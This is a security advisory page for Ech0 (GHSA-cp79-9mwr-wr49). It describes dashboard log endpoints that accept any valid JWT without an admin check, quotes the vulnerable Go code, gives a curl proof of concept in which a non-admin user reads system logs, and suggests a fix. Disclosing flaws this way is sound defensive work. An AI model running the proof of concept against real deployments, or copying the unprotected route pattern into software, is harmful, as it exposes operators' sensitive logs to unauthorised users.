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GHSA-cp79-9mwr-wr49

MEDIUM

Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs

Published
Apr 10, 2026
Updated
Apr 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐹github.com/lin-snow/ech0

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Ech0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope.

Impact

Any valid user session can access GET /api/system/logs and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job output, internal URLs, and other sensitive operational context. This creates a post-authentication information disclosure primitive that can materially aid follow-on attacks.

Details

The issue is caused by an authorization gap between route registration, handler logic, and the service layer.

internal/router/dashboard.go registers the log endpoints on authenticated router groups, but does not apply any admin-only authorization middleware:

func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
	// Auth
	appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs())
	appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs())
	appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs())
}

internal/handler/dashboard/dashboard.go returns log data directly and the SSE/WS handlers only check whether jwtUtil.ParseToken(token) succeeds:

func (dashboardHandler *DashboardHandler) GetSystemLogs() gin.HandlerFunc {
	return res.Execute(func(ctx *gin.Context) res.Response {
		logs, err := dashboardHandler.dashboardService.GetSystemLogs(service.SystemLogQuery{
			Tail:    tail,
			Level:   ctx.Query("level"),
			Keyword: ctx.Query("keyword"),
		})
		if err != nil {
			return res.Response{Err: err}
		}
		return res.Response{
			Data: logs,
			Msg:  "获取系统日志成功",
		}
	})
}

internal/service/dashboard/dashboard.go exposes the log backend without adding a compensating admin check:

func (s *DashboardService) GetSystemLogs(query SystemLogQuery) ([]logUtil.LogEntry, error) {
	tail := query.Tail
	if tail <= 0 {
		tail = 200
	}
	return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)
}

Affected endpoints:

  • GET /api/system/logs
  • GET /api/system/logs/stream?token=...
  • GET /ws/system/logs?token=...

Proof of concept

1. Start the app

docker run -d \
  --name ech0 \
  -p 6277:6277 \
  -v /opt/ech0/data:/app/data \
  -e JWT_SECRET="Hello Echos" \
  sn0wl1n/ech0:latest

2. Initialize an owner account and register a normal user

curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \
  -H 'Content-Type: application/json' \
  -d '{"username":"owner","password":"ownerpass","email":"[email protected]"}'

curl -sS -X POST "http://127.0.0.1:6277/api/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"winky","password":"winkypass","email":"[email protected]"}'

3. Log in as the non-admin user and request the system log endpoint

winky_token=$(
  curl -sS -X POST "http://127.0.0.1:6277/api/login" \
    -H 'Content-Type: application/json' \
    -d '{"username":"winky","password":"winkypass"}' \
  | sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)

curl -sS "http://127.0.0.1:6277/api/system/logs" \
  -H "Authorization: Bearer $winky_token"

Observed response: the non-admin user receives 200 OK and a JSON response containing entries from app.log

<img width="1073" height="183" alt="image" src="https://github.com/user-attachments/assets/f0a836fa-121f-4fb7-a94c-92344d9aedd8" />

The same missing-authorization pattern also affects:

  • GET /api/system/logs/stream?token=<non-admin-token>
  • GET /ws/system/logs?token=<non-admin-token>

Recommended fix

Require an explicit admin-only scope on all dashboard log routes and enforce the same requirement in the service layer.

Suggested change in internal/router/dashboard.go:

import (
	"github.com/lin-snow/ech0/internal/handler"
	"github.com/lin-snow/ech0/internal/middleware"
	authModel "github.com/lin-snow/ech0/internal/model/auth"
)

func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
	appRouterGroup.AuthRouterGroup.GET(
		"/system/logs",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.GetSystemLogs(),
	)
	appRouterGroup.AuthRouterGroup.GET(
		"/system/logs/stream",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.SSESubscribeSystemLogs(),
	)
	appRouterGroup.WSRouterGroup.GET(
		"/system/logs",
		middleware.RequireScopes(authModel.ScopeAdminSettings),
		h.DashboardHandler.WSSubscribeSystemLogs(),
	)
}

Suggested defense-in-depth change in the service layer:

func (s *DashboardService) GetSystemLogs(ctx context.Context, query SystemLogQuery) ([]logUtil.LogEntry, error) {
	if err := s.ensureAdmin(ctx); err != nil {
		return nil, err
	}

	tail := query.Tail
	if tail <= 0 {
		tail = 200
	}
	return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/lin-snow/ech0all versions4.3.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/lin-snow/ech0 to 4.3.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cp79-9mwr-wr49 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-cp79-9mwr-wr49 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-cp79-9mwr-wr49. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Ech0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope. ## Impact Any valid user session can access `GET /api/system/logs` and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job ou
O3 Security · Impact-Aware SCA

Is GHSA-cp79-9mwr-wr49 in your dependencies?

O3 detects GHSA-cp79-9mwr-wr49 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.